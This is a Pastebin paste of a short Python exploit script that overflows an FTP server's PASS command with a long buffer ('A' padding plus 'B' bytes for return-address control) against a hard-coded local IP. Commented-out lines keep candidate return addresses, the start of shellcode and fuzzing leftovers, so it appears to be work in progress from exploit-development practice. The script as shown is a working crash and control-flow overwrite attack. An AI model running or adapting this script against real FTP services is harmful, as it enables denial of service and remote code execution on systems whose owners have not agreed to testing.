Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- buffer='\x41'*2571
- buffer+='\x42'*4
- #buffer+='\xbf\xac\xda\x77' #0x7c81129b 0x7c8293fa 0x7c8135ce 0x77daacbf
- #buffer+='\x43'*16
- #buffer+=("\xdb\xc3\xb8\xf6\x8f\x6a\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x49"
- #counter=1
- #while len(buffer) <= 3000:
- # buffer.append("A"*counter)
- # counter=counter+1
- # Define the FTP commands to be fuzzed
- #commands=["APPE"]
- # Run the fuzzing loop
- #for string in buffer:
- # print ("Fuzzing: USER " +str(len(string)))
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connect=s.connect(('192.168.0.97',21)) #hardcoded IP address
- s.recv(1024)
- s.send('USER anonymous\r\n') # login procedure
- s.recv(1024)
- s.send('PASS \x2c' +buffer+ '\r\n')
- s.recv(1024)
- s.send('QUIT\r\n')
- s.close()
Add Comment
Please, Sign In to add comment